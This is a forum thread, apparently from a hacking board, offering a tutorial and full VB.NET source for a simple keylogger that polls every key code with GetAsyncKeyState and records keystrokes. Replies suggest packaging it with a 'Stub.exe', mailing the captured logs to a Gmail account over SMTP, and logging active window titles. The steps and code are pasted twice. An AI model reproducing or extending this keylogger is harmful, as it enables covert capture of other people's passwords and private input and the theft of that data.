{tut} How to make simple key logger
{tut} How to make simple key logger
Im going to show you how to make a very simple key logger
Add the folowing to a form
____________________
1.Timmer
2.Text box(multi line) cover entir page with ith
Step2.
Make the timer enabeled and with intervels of 1
step 3
Select all code in the form deleate and copy and past this
Now your finished
Add the folowing to a form
____________________
1.Timmer
2.Text box(multi line) cover entir page with ith
Step2.
Make the timer enabeled and with intervels of 1
step 3
Select all code in the form deleate and copy and past this
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
It's better with a good Stub
& it send the rapport in your gmail
If you want the vurrent window title it's
etc..
Code:
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
Code:
SMTP.Port = 587
SMTP.EnableSsl = True
Code:
If title <> GetActiveWindowTitle() Then
i know this is just a simple one
now will have keyloggers everywhere! lol
how am i suposed to use this?
This thread is closed for replies.
